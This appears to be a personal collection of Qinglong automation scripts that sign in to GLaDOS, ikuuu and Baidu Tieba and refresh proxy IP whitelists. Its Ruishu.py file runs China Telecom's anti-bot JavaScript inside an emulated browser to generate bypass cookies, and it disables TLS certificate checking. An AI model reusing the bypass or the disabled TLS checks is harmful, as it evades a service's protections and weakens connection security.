├── README.md
├── glados.py
├── proxy_update.py
├── ikuuu-auto-checkin.js
├── tieba.py
├── Ruishu.py
├── sendNotify.py
├── chinatelecom.py
├── yili.js
└── chinatelecom.js


/README.md:
--------------------------------------------------------------------------------
1 | **自用青龙脚本,详细查看[wiki](https://github.com/wq-h/qinglong/wiki/%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97)**
2 | 


--------------------------------------------------------------------------------
/glados.py:
--------------------------------------------------------------------------------
 1 | # !/usr/bin/python3
 2 | # -- coding: utf-8 --
 3 | # cron: 05 08 * * *
 4 | # const $ = new Env("glados 机场签到");
 5 | import datetime
 6 | import requests
 7 | import os
 8 | import json
 9 | 
10 | try:
11 |     from sendNotify import send
12 | except ImportError:
13 |     print("加载通知服务失败")
14 |     send = lambda title, message: print(f"Title: {title}\nMessage: {message}")
15 | 
16 | if __name__ == '__main__':
17 |     # GLaDOS cookie
18 |     cookies = os.environ.get('GLADOS_COOKIES', []).split('&')
19 |     if cookies[0] == '':
20 |         print('未获取到GLADOS_COOKIES环境变量')
21 |         cookies = []
22 |         exit(0)
23 |     checkin_url = 'https://glados.rocks/api/user/checkin' 
24 |     status_url = 'https://glados.rocks/api/user/status' 
25 |     referrer = 'https://glados.rocks/console/checkin' 
26 |     origin = 'https://glados.rocks' 
27 |     useragent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
28 |     payload = {
29 |         'token': 'glados.one'
30 |     }
31 |     
32 |     msg = "glados 机场签到结果：\n"
33 |     for cookie in cookies:
34 |         checkin = requests.post(checkin_url,
35 |                                 headers={'cookie': cookie, 'referrer': referrer, 'origin': origin, 'user-agent': useragent, 'content-type': 'application/json; charset=utf-8'},
36 |                                 data=json.dumps(payload))
37 |         status = requests.get(status_url, headers={'cookie': cookie, 'referrer': referrer, 'origin': origin, 'user-agent': useragent})
38 |         
39 |         days = str(status.json()['data']['leftDays']).split('.')[0]
40 |         email = status.json()['data']['email']
41 | 
42 |         balance = str(checkin.json()['list'][0]['balance']).split('.')[0] 
43 |         change = str(checkin.json()['list'][0]['change']).split('.')[0] 
44 | 
45 |         if 'message' in checkin.text:
46 |             msg += f"{email}|剩余：{days}天|积分：{balance}|变化：{change}\n"
47 |         else:
48 |             msg += f"{email} 签到失败，请更新 cookies\n"
49 | 
50 |     send('Glados_Sign', msg.strip())
51 | 


--------------------------------------------------------------------------------
/proxy_update.py:
--------------------------------------------------------------------------------
  1 | # cron: 10 */2 * * *
  2 | # new Env('更新IP代理白名单');
  3 | 
  4 | import requests
  5 | import hashlib
  6 | import urllib.parse
  7 | import os
  8 | 
  9 | from sendNotify import send  # 添加通知发送模块
 10 | 
 11 | # JULIANG_KEY = ''  # 填入巨量的API密钥，点击设置授权信息按钮查看，获取地址 https://www.juliangip.com/users/product/time
 12 | # JULIANG_TRADE_NO = ''  # 填入巨量的业务编号
 13 | # XK_APIKEY = ''  # 填入星空的 API Key
 14 | # XK_SIGN = ''  # 填入星空的 Sign
 15 | # XIEQU_UID = ''  # 填入携趣的 UID，获取地址 https://www.xiequ.cn/redirect.aspx?act=MyIpWhiteList.aspx
 16 | # XIEQU_UKEY = ''  # 填入携趣的 UKEY
 17 | # YYY_UID = ''  # 填入优亦云的用户套餐ID
 18 | # YYY_TOKEN = ''  # 填入优亦云的TOKEN
 19 | # 巨量
 20 | JULIANG_KEY = ''
 21 | JULIANG_TRADE_NO = '' 
 22 | # 星空
 23 | XK_APIKEY = ''
 24 | XK_SIGN = ''
 25 | # 携趣
 26 | XIEQU_UID = ''
 27 | XIEQU_UKEY = ''
 28 | # 优亦云
 29 | YYY_UID = ''
 30 | YYY_TOKEN = ''
 31 | 
 32 | # 青龙环境变量（若上面不填写，则读取青龙环境变量）
 33 | JULIANG_KEY = JULIANG_KEY if JULIANG_KEY else os.getenv("JULIANG_KEY")
 34 | JULIANG_TRADE_NO = JULIANG_TRADE_NO if JULIANG_TRADE_NO else os.getenv("JULIANG_TRADE_NO")
 35 | XK_APIKEY = XK_APIKEY if XK_APIKEY else os.getenv("XK_APIKEY")
 36 | XK_SIGN = XK_SIGN if XK_SIGN else os.getenv("XK_SIGN")
 37 | XIEQU_UID = XIEQU_UID if XIEQU_UID else os.getenv("XIEQU_UID")
 38 | XIEQU_UKEY = XIEQU_UKEY if XIEQU_UKEY else os.getenv("XIEQU_UKEY")
 39 | YYY_UID = YYY_UID if YYY_UID else os.getenv("YYY_UID")
 40 | YYY_TOKEN = YYY_TOKEN if YYY_TOKEN else os.getenv("YYY_TOKEN")
 41 | 
 42 | 
 43 | 
 44 | 
 45 | class SignKit:
 46 | 
 47 |     @staticmethod
 48 |     def md5_sign(params, secret):
 49 |         sign_content = SignKit.get_sign_content(params)
 50 |         return hashlib.md5((sign_content + '&key=' + secret).encode('utf-8')).hexdigest()
 51 | 
 52 |     @staticmethod
 53 |     def get_sign_content(params):
 54 |         params.pop('sign', None)  # 删除 sign
 55 |         sorted_params = sorted(params.items())
 56 |         sign_content = '&'.join([f"{k}={str(v)}" for k, v in sorted_params if str(v) is not None and not str(v).startswith('@')])
 57 |         return sign_content
 58 | 
 59 | def get_current_ip():
 60 |     response = requests.get('https://myip.ipip.net/json')
 61 |     data = response.json()
 62 |     return data['data']['ip']
 63 | 
 64 | def update_juliang_white_list(ip, JULIANG_KEY, JULIANG_TRADE_NO):
 65 |     if JULIANG_KEY and JULIANG_TRADE_NO:
 66 |         params = {
 67 |             'new_ip': ip,
 68 |             'reset': '1',
 69 |             'trade_no': JULIANG_TRADE_NO
 70 |         }
 71 |         sign = SignKit.md5_sign(params, JULIANG_KEY)
 72 |         query_string = urllib.parse.urlencode(params) + "&sign=" + sign
 73 | 
 74 |         url = f'http://v2.api.juliangip.com/dynamic/replaceWhiteIp?{query_string}'
 75 |         response = requests.get(url)
 76 |         return response.text
 77 | 
 78 | def update_xk_white_list(ip, XK_APIKEY, XK_SIGN):
 79 |     if XK_APIKEY and XK_SIGN:
 80 |         url = f'http://api2.xkdaili.com/tools/XApi.ashx?apikey={XK_APIKEY}&type=addwhiteip&sign={XK_SIGN}&flag=8&ip={ip}'
 81 |         response = requests.get(url)
 82 |         return response.text
 83 | 
 84 | def update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY):
 85 |     if XIEQU_UID and XIEQU_UKEY:
 86 |         url = f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=get'
 87 |         response = requests.get(url)
 88 |         data = response.text
 89 |         arr = data.split(',')
 90 |         if ip not in arr:
 91 |             requests.get(f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=del&ip=all')
 92 |             response = requests.get(f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=add&ip={ip}')
 93 |             return '更新xiequ白名单成功' if response.status_code == 200 else '更新xiequ白名单出错'
 94 |         else:
 95 |             return '携趣白名单ip未变化'
 96 | 
 97 | def update_yyy_white_list(ip, YYY_UID, YYY_TOKEN):
 98 |     if YYY_UID and YYY_TOKEN:
 99 |         url = f'http://data.yyyip.cn:88/whiteip_api?method=list&token={YYY_TOKEN}'
100 |         response = requests.get(url)
101 |         data = response.json()
102 |         arr = [d["ip"] for d in data['data']]
103 |         ipstr = ','.join(map(str, arr))
104 |         if ip not in arr:
105 |             requests.get(f'http://data.yyyip.cn:88/whiteip_api?method=del&token={YYY_TOKEN}&ip={ipstr}')
106 |             response = requests.get(f'http://data.yyyip.cn:88/whiteip_api?method=add&token={YYY_TOKEN}&upackid={YYY_UID}&ip={ip}')
107 |             return response.json()['msg']
108 |             # return '更新优亦云白名单成功' if response.status_code == 200 else '更新优亦云白名单出错'
109 |         else:
110 |             return '优亦云白名单ip未变化'
111 | 
112 | 
113 | def main():
114 |     ip = get_current_ip()
115 |     print('当前ip地址：', ip)
116 | 
117 |     res1 = update_juliang_white_list(ip, JULIANG_KEY, JULIANG_TRADE_NO)
118 |     res2 = update_xk_white_list(ip, XK_APIKEY, XK_SIGN)
119 |     res3 = update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY)
120 |     res4 = update_yyy_white_list(ip, YYY_UID, YYY_TOKEN)
121 | 
122 |     print('更新巨量白名单结果：', res1)
123 |     print('更新星空白名单结果：', res2)
124 |     print('更新携趣白名单结果：', res3)
125 |     print('更新优亦云白名单结果：', res4)
126 | 
127 |     # 判断是否有实际变更（不是 None 且不是“未变化”）
128 |     meaningful_results = []
129 |     if res1 and '未变化' not in res1:
130 |         meaningful_results.append(f"巨量：{res1}")
131 |     if res2 and '未变化' not in res2:
132 |         meaningful_results.append(f"星空：{res2}")
133 |     if res3 and '未变化' not in res3:
134 |         meaningful_results.append(f"携趣：{res3}")
135 |     if res4 and '未变化' not in res4:
136 |         meaningful_results.append(f"优亦云：{res4}")
137 | 
138 |     if meaningful_results:
139 |         msg = f"""📝 当前IP地址：{ip}
140 | 🔄 有效更新结果：
141 | """ + "\n".join(meaningful_results)
142 |         send("IP白名单更新通知", msg)
143 |     else:
144 |         print("无有效更新，无需发送通知。")
145 | 
146 | 
147 | if __name__ == "__main__":
148 |     main()


--------------------------------------------------------------------------------
/ikuuu-auto-checkin.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | 填写注册的邮箱和密码,多账号使用;隔开
  3 | export Ikuuu_EMAIL="xxx@.com;xxx@com"
  4 | export Ikuuu_PASSWD="A123;A123"
  5 | export Ikuuu_HOST="ikuuu.one"
  6 | 由于 ikuuu 经常更换域名，添加 HOST 环境变量，默认为ikuuu.one。若域名更改，修改 HOST 的值为对应域名即可
  7 | 
  8 | cron: 33 08 * * *
  9 | const $ = new Env("ikuuu 机场签到");
 10 | */
 11 | const { sendNotify } = require("./sendNotify");
 12 | const fs = require('fs');
 13 | const path = require('path');
 14 | 
 15 | // 配置类
 16 | class Config {
 17 |     static get HOST() {
 18 |         return process.env.Ikuuu_HOST || "ikuuu.one";
 19 |     }
 20 | 
 21 |     static get PROTOCOL_PREFIX() {
 22 |         return "https://";
 23 |     }
 24 | 
 25 |     static get LOGIN_URL() {
 26 |         return `${Config.PROTOCOL_PREFIX}${Config.HOST}/auth/login`;
 27 |     }
 28 | 
 29 |     static get CHECKIN_URL() {
 30 |         return `${Config.PROTOCOL_PREFIX}${Config.HOST}/user/checkin`;
 31 |     }
 32 | }
 33 | 
 34 | // 日志配置
 35 | const logStream = fs.createWriteStream(path.join(__dirname, 'ikuuu.log'), { flags: 'a' });
 36 | 
 37 | function log(level, message) {
 38 |     const timestamp = new Date().toISOString();
 39 |     const logMessage = `[${timestamp}] [${level}] ${message}\n`;
 40 |     logStream.write(logMessage);
 41 |     console.log(logMessage);
 42 | }
 43 | 
 44 | // Cookie 工具类
 45 | class CookieUtil {
 46 |     static parseCookie(rawCookie) {
 47 |         let cookieSets = rawCookie.split("path=/,");
 48 |         const cookies = {};
 49 | 
 50 |         cookieSets.forEach((cookie) => {
 51 |             const match = cookie.match(/^([^=]+)=(.*?);/);
 52 |             if (match) {
 53 |                 const fieldName = match[1].trim();
 54 |                 let fieldValue = match[2].trim();
 55 |                 fieldValue = decodeURIComponent(fieldValue);
 56 | 
 57 |                 if (!cookies[fieldName]) {
 58 |                     cookies[fieldName] = fieldValue;
 59 |                 }
 60 |             }
 61 |         });
 62 | 
 63 |         return cookies;
 64 |     }
 65 | 
 66 |     static generateCookieStr(cookieObject) {
 67 |         return Object.entries(cookieObject)
 68 |             .map(([key, value]) => `${key}=${encodeURIComponent(value)}`)
 69 |             .join("; ");
 70 |     }
 71 | }
 72 | 
 73 | // Ikuuu 客户端类
 74 | class IkuuuClient {
 75 |     constructor(email, password) {
 76 |         this.email = email;
 77 |         this.password = password;
 78 |     }
 79 | 
 80 |     async login() {
 81 |         log('INFO', `Logging in with email: ${this.email}...`);
 82 | 
 83 |         let formData = new FormData();
 84 |         formData.append("host", Config.HOST);
 85 |         formData.append("email", this.email);
 86 |         formData.append("passwd", this.password);
 87 |         formData.append("code", "");
 88 |         formData.append("remember_me", "off");
 89 | 
 90 |         try {
 91 |             let response = await fetch(Config.LOGIN_URL, {
 92 |                 method: "POST",
 93 |                 body: formData,
 94 |             });
 95 | 
 96 |             let rawCookie = response.headers.get("set-cookie");
 97 |             let responseJson = await response.json();
 98 | 
 99 |             if (responseJson) {
100 |                 log('INFO', responseJson.msg);
101 |             }
102 | 
103 |             return CookieUtil.parseCookie(rawCookie);
104 |         } catch (error) {
105 |             log('ERROR', `Login failed for ${this.email}: ${error.message}`);
106 |             throw error;
107 |         }
108 |     }
109 | 
110 |     async checkIn(cookie) {
111 |         try {
112 |             let response = await fetch(Config.CHECKIN_URL, {
113 |                 method: "POST",
114 |                 headers: {
115 |                     Cookie: CookieUtil.generateCookieStr(cookie),
116 |                 },
117 |             });
118 | 
119 |             let responseJson = await response.json();
120 |             if (responseJson) {
121 |                 log('INFO', responseJson.msg);
122 |             }
123 |         } catch (error) {
124 |             log('ERROR', `Check-in failed for ${this.email}: ${error.message}`);
125 |             throw error;
126 |         }
127 |     }
128 | }
129 | 
130 | // 延迟函数，单位为毫秒
131 | function delay(ms) {
132 |     return new Promise(resolve => setTimeout(resolve, ms));
133 | }
134 | 
135 | async function main() {
136 |     let emails = process.env.Ikuuu_EMAIL;
137 |     let passwords = process.env.Ikuuu_PASSWD;
138 | 
139 |     if (!emails || !passwords) {
140 |         log('ERROR', "ENV ERROR: Please set both Ikuuu_EMAIL and Ikuuu_PASSWD.");
141 |         process.exit(1);
142 |     }
143 | 
144 |     let emailList = emails.split(";");
145 |     let passwdList = passwords.split(";");
146 | 
147 |     if (emailList.length !== passwdList.length) {
148 |         log('ERROR', "Error: The number of emails does not match the number of passwords.");
149 |         process.exit(1);
150 |     }
151 | 
152 |     let notifications = [];
153 | 
154 |     for (let i = 0; i < emailList.length; i++) {
155 |         let email = emailList[i];
156 |         let passwd = passwdList[i];
157 |         let client = new IkuuuClient(email, passwd);
158 | 
159 |         try {
160 |             let cookie = await client.login();
161 |             await client.checkIn(cookie);
162 |             notifications.push(`账号 ${email} 登录成功，签到完成`);
163 |         } catch (error) {
164 |             notifications.push(`账号 ${email} 操作失败: ${error.message}`);
165 |         }
166 | 
167 |         await delay(2000);  // 延迟 2 秒
168 |     }
169 | 
170 |     // 过滤掉 undefined 值
171 |     const notificationMessage = notifications
172 |         .filter(msg => msg !== undefined)
173 |         .join("\n");
174 | 
175 |     // 调试：打印通知数组
176 |     console.log("通知数组内容:", notifications);
177 | 
178 |     sendNotify(`多个账号操作完成：\n${notificationMessage}`);
179 | }
180 | 
181 | main().catch(error => {
182 |     log('ERROR', `Main function failed: ${error.message}`);
183 |     process.exit(1);
184 | });
185 | 


--------------------------------------------------------------------------------
/tieba.py:
--------------------------------------------------------------------------------
  1 | # !/usr/bin/python3
  2 | # -- coding: utf-8 --
  3 | # cron: 00 08 * * *
  4 | # const $ = new Env("贴吧签到");
  5 | 
  6 | import os
  7 | import time
  8 | from requests import session
  9 | from hashlib import md5
 10 | from concurrent.futures import ThreadPoolExecutor, as_completed
 11 | 
 12 | try:
 13 |     from sendNotify import send
 14 | except ImportError:
 15 |     print("加载通知服务失败")
 16 | 
 17 | class Tieba():
 18 |     # 将配置项提取为类变量
 19 |     MAX_RETRY = 10  # 最大重试次数
 20 |     REQUEST_TIMEOUT = 30  # 请求超时时间
 21 |     SLEEP_TIME = 10  # 退出前等待时间
 22 | 
 23 |     Tieba_BDUSS = os.getenv("Tieba_BDUSS")
 24 | 
 25 |     def __init__(self, STOKEN):
 26 |         self.BDUSS = Tieba.Tieba_BDUSS
 27 |         self.STOKEN = STOKEN
 28 |         self.success_list = []
 29 |         self.result = {}
 30 |         self.sign_list = []
 31 |         self.fail_list = []
 32 |         self.session = session()
 33 |         self.session.headers.update(
 34 |             {'Accept': 'text/html, */*; q=0.01',
 35 |              'Accept-Encoding': 'gzip, deflate',
 36 |              'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
 37 |              'Connection': 'keep-alive',
 38 |              'Host': 'tieba.baidu.com',
 39 |              'Referer': 'http://tieba.baidu.com/i/i/forum',
 40 |              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
 41 |                            'Chrome/71.0.3578.98 Safari/537.36',
 42 |              'X-Requested-With': 'XMLHttpRequest'}
 43 |         )
 44 | 
 45 |     def set_cookie(self):
 46 |         self.session.cookies.update({'BDUSS': self.BDUSS, 'STOKEN': self.STOKEN})
 47 | 
 48 |     def fetch_tbs(self):
 49 |         try:
 50 |             r = self.session.get('http://tieba.baidu.com/dc/common/tbs').json()
 51 |             if r['is_login'] == 1:
 52 |                 self.tbs = r['tbs']
 53 |             else:
 54 |                 raise Exception('获取tbs错误！以下为返回数据：' + str(r))
 55 |         except Exception as e:
 56 |             raise Exception(f'获取tbs时发生异常：{str(e)}')
 57 | 
 58 |     def fetch_likes(self):
 59 |         try:
 60 |             self.rest = set()
 61 |             self.already = set()
 62 |             r = self.session.get('https://tieba.baidu.com/mo/q/newmoindex?').json()
 63 |             if r['no'] == 0:
 64 |                 for forum in r['data']['like_forum']:
 65 |                     if forum['is_sign'] == 1:
 66 |                         self.already.add(forum['forum_name'])
 67 |                     else:
 68 |                         self.rest.add(forum['forum_name'])
 69 |             else:
 70 |                 raise Exception('获取关注贴吧错误！以下为返回数据：' + str(r))
 71 |         except Exception as e:
 72 |             raise Exception(f'获取关注贴吧时发生异常：{str(e)}')
 73 | 
 74 |     def sign(self, forum_name):
 75 |         try:
 76 |             data = {
 77 |                 'kw': forum_name,
 78 |                 'tbs': self.tbs,
 79 |                 'sign': md5(f'kw={forum_name}tbs={self.tbs}tiebaclient!!!'.encode('utf8')).hexdigest()
 80 |             }
 81 |             r = self.session.post('http://c.tieba.baidu.com/c/c/forum/sign', data, timeout=self.REQUEST_TIMEOUT).json()
 82 |             if r['error_code'] == '160002':
 83 |                 print(f'"{forum_name}"已签到')
 84 |                 self.sign_list.append(forum_name)
 85 |                 return True
 86 |             elif r['error_code'] == '0':
 87 |                 print(f'"{forum_name}">>>>>>>签到成功，您是第{r["user_info"]["user_sign_rank"]}个签到的用户！')
 88 |                 self.result[forum_name] = r
 89 |                 self.success_list.append(forum_name)
 90 |                 return True
 91 |             else:
 92 |                 print(f'"{forum_name}"签到失败！以下为返回数据：{str(r)}')
 93 |                 self.fail_list.append(forum_name)
 94 |                 return False
 95 |         except Exception as e:
 96 |             print(f'"{forum_name}"签到时发生异常：{str(e)}')
 97 |             self.fail_list.append(forum_name)
 98 |             return False
 99 | 
100 |     def loop(self, n):
101 |         print(f'* 开始第{n}轮签到 *')
102 |         rest = set()
103 |         self.fetch_tbs()
104 |         # 使用线程池并发签到
105 |         with ThreadPoolExecutor(max_workers=5) as executor:
106 |             futures = {executor.submit(self.sign, forum_name): forum_name for forum_name in self.rest}
107 |             for future in as_completed(futures):
108 |                 forum_name = futures[future]
109 |                 try:
110 |                     if not future.result():
111 |                         rest.add(forum_name)
112 |                 except Exception as e:
113 |                     print(f'"{forum_name}"签到异常：{str(e)}')
114 |                     rest.add(forum_name)
115 |         self.rest = rest
116 |         if n >= self.MAX_RETRY:  # 使用类变量
117 |             self.rest = set()
118 | 
119 |     def main(self, max):
120 |         self.set_cookie()
121 |         self.fetch_likes()
122 |         n = 0
123 |         if self.already:
124 |             print('---------- 已经签到的贴吧 ---------')
125 |             for forum_name in self.already:
126 |                 print(f'"{forum_name}"已签到')
127 |                 self.sign_list.append(forum_name)
128 |         while n < max and self.rest:
129 |             n += 1
130 |             self.loop(n)
131 | 
132 |         if self.rest:
133 |             print('--------- 签到失败列表 ----------')
134 |             for forum_name in self.rest:
135 |                 print(f'"{forum_name}"签到失败！')
136 | 
137 |         # 在签到结束后调用 send 函数发送通知
138 |         self.send_notification_message()
139 | 
140 |     def send_notification_message(self):
141 |         try:
142 |             msg = "贴吧签到结果：\n"
143 | 
144 |             if self.success_list:
145 |                 msg += "- **签到成功贴吧**：\n"
146 |                 for forum in self.success_list:
147 |                     sign_rank = self.result[forum]['user_info']['user_sign_rank']
148 |                     msg += f"    {forum}  （签到成功，第{sign_rank}个签到）\n"
149 | 
150 |             if self.sign_list:
151 |                 msg += "- **已经签到的贴吧**：\n"
152 |                 msg += "    " + ", ".join(self.sign_list)  # 去掉末尾的换行符
153 | 
154 |             # 直接拼接统计信息，去掉前面的空行
155 |             msg += f"\n共关注了{len(self.already) + len(self.success_list)}个贴吧，"
156 |             msg += f"本次成功签到了{len(self.success_list)}个，"
157 |             msg += f"失败了{len(self.fail_list)}个，"
158 |             msg += f"有{len(self.sign_list)}个贴吧已经签到。"
159 | 
160 |             # 发送通知
161 |             send('Tieba_Sign', msg)
162 | 
163 |             # 使用类变量
164 |             time.sleep(self.SLEEP_TIME)
165 |         except Exception as e:
166 |             print(f'发送通知时发生异常：{str(e)}')
167 | 
168 | if __name__ == "__main__":
169 |     BDUSS_values = os.getenv("Tieba_BDUSS")
170 |     STOKEN = ''
171 |     task = Tieba(STOKEN)
172 |     print("\n========================\n")
173 |     task.main(3)
174 |     print("----------贴吧签到执行完毕----------")
175 | 


--------------------------------------------------------------------------------
/Ruishu.py:
--------------------------------------------------------------------------------
  1 | import os
  2 | import ssl
  3 | import time
  4 | import json
  5 | import execjs
  6 | import base64
  7 | import random
  8 | import certifi
  9 | import aiohttp
 10 | import asyncio
 11 | import requests
 12 | from http import cookiejar
 13 | from Crypto.Cipher import DES3
 14 | from Crypto.Util.Padding import pad, unpad
 15 | from aiohttp import ClientSession, TCPConnector
 16 | import httpx
 17 | import logging
 18 | 
 19 | diffValue = 2
 20 | filename='Cache.js'
 21 | if os.path.exists(filename):
 22 |     with open(filename, 'r', encoding='utf-8') as file:
 23 |         fileContent = file.read()
 24 | else:
 25 |     fileContent=''
 26 | 
 27 | class BlockAll(cookiejar.CookiePolicy):
 28 |     return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
 29 |     netscape = True
 30 |     rfc2965 = hide_cookie2 = False
 31 | 
 32 | def printn(m):
 33 |     print(f'\n{m}')
 34 | 
 35 | context = ssl.create_default_context()
 36 | context.set_ciphers('DEFAULT@SECLEVEL=1')  # 低安全级别0/1
 37 | context.check_hostname = False  # 禁用主机
 38 | context.verify_mode = ssl.CERT_NONE  # 禁用证书
 39 | 
 40 | class DESAdapter(requests.adapters.HTTPAdapter):
 41 |     def init_poolmanager(self, *args, **kwargs):
 42 |         kwargs['ssl_context'] = context
 43 |         return super().init_poolmanager(*args, **kwargs)
 44 | 
 45 | requests.DEFAULT_RETRIES = 0
 46 | requests.packages.urllib3.disable_warnings()
 47 | ss = requests.session()
 48 | ss.headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36", "Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"}
 49 | ss.mount('https://', DESAdapter())
 50 | ss.cookies.set_policy(BlockAll())
 51 | runTime = 0
 52 | sleepTime = 1
 53 | key = b'1234567`90koiuyhgtfrdews'
 54 | iv = 8 * b'\0'
 55 | 
 56 | def encrypt(text):
 57 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
 58 |     ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
 59 |     return ciphertext.hex()
 60 | 
 61 | def decrypt(text):
 62 |     ciphertext = bytes.fromhex(text)
 63 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
 64 |     plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
 65 |     return plaintext.decode()
 66 | 
 67 | ssl_context = ssl.create_default_context()
 68 | ssl_context.set_ciphers('DEFAULT@SECLEVEL=1')
 69 | ssl_context.check_hostname = False
 70 | ssl_context.verify_mode = ssl.CERT_NONE
 71 | 
 72 | custom_client = httpx.Client(
 73 |     verify=False,
 74 |     http2=False,
 75 |     transport=httpx.HTTPTransport(
 76 |         retries=0,
 77 |         verify=ssl_context
 78 |     )
 79 | )
 80 | 
 81 | # 添加日志记录
 82 | logging.basicConfig(
 83 |     level=logging.INFO,
 84 |     format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
 85 | )
 86 | logger = logging.getLogger(__name__)
 87 | 
 88 | def initCookie(getUrl='https://wapact.189.cn:9001/gateway/standQuery/detailNew/exchange'):
 89 |     try:
 90 |         global js_code_ym, fileContent
 91 |         response = custom_client.post(getUrl)
 92 |         response.raise_for_status()
 93 |         
 94 |         # 解析响应内容
 95 |         content = response.text.split(' content="')[2].split('" r=')[0]
 96 |         code1 = response.text.split('$_ts=window')[1].split('</script><script type="text/javascript"')[0]
 97 |         code1Content = '$_ts=window' + code1
 98 |         Url = response.text.split('$_ts.lcd();</script><script type="text/javascript" charset="utf-8" src="')[1].split('" r=')[0]
 99 |         
100 |         # 处理文件缓存
101 |         if not fileContent:
102 |             fileRes = custom_client.get(Url)
103 |             if fileRes.status_code == 200:
104 |                 fileContent = fileRes.text
105 |                 with open(filename, 'w', encoding='utf-8') as file:
106 |                     file.write(fileRes.text)
107 |             else:
108 |                 logger.error(f"Failed to download {Url}. Status code: {fileRes.status_code}")
109 |                 return None
110 |                 
111 |         # 处理cookies
112 |         cookie = response.headers.get('Set-Cookie', '').split(';')[0].split('=')[1]
113 |         runJs = js_code_ym.replace('content_code', content).replace("'ts_code'", code1Content + fileContent)
114 |         execjsRun = RefererCookie(runJs)
115 |         
116 |         return {
117 |             'cookie': cookie,
118 |             'execjsRun': execjsRun
119 |         }
120 |         
121 |     except Exception as e:
122 |         logger.error(f"初始化cookies失败: {str(e)}")
123 |         return None
124 | 
125 | def RefererCookie(runJs):
126 |     try:
127 |         execjsRun = execjs.compile(runJs)
128 |         return execjsRun
129 |     except execjs._exceptions.CompileError as e:
130 |         print(f"JavaScript 编译错误: {e}")
131 |     except execjs._exceptions.RuntimeError as e:
132 |         print(f"JavaScript 运行时错误: {e}")
133 |     except Exception as e:
134 |         print(f"其他错误: {e}")
135 | 
136 | js_code_ym = '''delete __filename
137 | delete __dirname
138 | ActiveXObject = undefined
139 | 
140 | window = global;
141 | 
142 | content="content_code"
143 | 
144 | navigator = {"platform": "Linux aarch64"}
145 | navigator = {"userAgent": "CtClient;11.0.0;Android;13;22081212C;NTIyMTcw!#!MTUzNzY"}
146 | 
147 | location={
148 |     "href": "https://",
149 |     "origin": "",
150 |     "protocol": "",
151 |     "host": "",
152 |     "hostname": "",
153 |     "port": "",
154 |     "pathname": "",
155 |     "search": "",
156 |     "hash": ""
157 | }
158 | 
159 | i = {length: 0}
160 | base = {length: 0}
161 | div = {
162 |     getElementsByTagName: function (res) {
163 |         console.log('div中的getElementsByTagName：', res)
164 |         if (res === 'i') {
165 |             return i
166 |         }
167 |     return '<div></div>'
168 | 
169 |     }
170 | }
171 | 
172 | script = {
173 | 
174 | }
175 | meta = [
176 |     {charset:"UTF-8"},
177 |     {
178 |         content: content,
179 |         getAttribute: function (res) {
180 |             console.log('meta中的getAttribute：', res)
181 |             if (res === 'r') {
182 |                 return 'm'
183 |             }
184 |         },
185 |         parentNode: {
186 |             removeChild: function (res) {
187 |                 console.log('meta中的removeChild：', res)
188 | 
189 |               return content
190 |             }
191 |         },
192 | 
193 |     }
194 | ]
195 | form = '<form></form>'
196 | 
197 | window.addEventListener= function (res) {
198 |         console.log('window中的addEventListener:', res)
199 | 
200 |     }
201 | 
202 | document = {
203 |     createElement: function (res) {
204 |         console.log('document中的createElement：', res)
205 | 
206 |        if (res === 'div') {
207 |             return div
208 |         } else if (res === 'form') {
209 |             return form
210 |         }
211 |         else{return res}
212 | 
213 | 
214 | 
215 | 
216 |     },
217 |     addEventListener: function (res) {
218 |         console.log('document中的addEventListener:', res)
219 | 
220 |     },
221 |     appendChild: function (res) {
222 |         console.log('document中的appendChild：', res)
223 |         return res
224 |     },
225 |     removeChild: function (res) {
226 |         console.log('document中的removeChild：', res)
227 |     },
228 |     getElementsByTagName: function (res) {
229 |         console.log('document中的getElementsByTagName：', res)
230 |         if (res === 'script') {
231 |             return script
232 |         }
233 |         if (res === 'meta') {
234 |             return meta
235 |         }
236 |         if (res === 'base') {
237 |             return base
238 |         }
239 |     },
240 |     getElementById: function (res) {
241 |         console.log('document中的getElementById：', res)
242 |         if (res === 'root-hammerhead-shadow-ui') {
243 |             return null
244 |         }
245 |     }
246 | 
247 | }
248 | 
249 | setInterval = function () {}
250 | setTimeout = function () {}
251 | window.top = window
252 | 
253 | 'ts_code'
254 | 
255 | function main() {
256 |     cookie = document.cookie.split(';')[0]
257 |     return cookie
258 | }'''
259 | 
260 | async def main(timeValue):
261 |     global runTime, js_codeRead
262 |     tasks = []
263 | 
264 |     init_result = initCookie()
265 |     if init_result:
266 |         cookie = init_result['cookie']
267 |         execjsRun = init_result['execjsRun']
268 |     else:
269 |         print("初始化 cookies 失败")
270 |         return
271 | 
272 |     runcookie = {
273 |         'cookie': cookie,
274 |         'execjsRun': execjsRun
275 |     }
276 | 
277 |     # 添加输出 cookies 的代码
278 |     cookies = {
279 |         'yiUIIlbdQT3fO': runcookie['cookie'],
280 |         'yiUIIlbdQT3fP': runcookie['execjsRun'].call('main').split('=')[1]
281 |     }
282 |     print(json.dumps(cookies))  # 确保输出是 JSON 格式的
283 | 
284 | if __name__ == "__main__":
285 |     try:
286 |         asyncio.run(main(0))
287 |     finally:
288 |         custom_client.close()
289 | 
290 | 


--------------------------------------------------------------------------------
/sendNotify.py:
--------------------------------------------------------------------------------
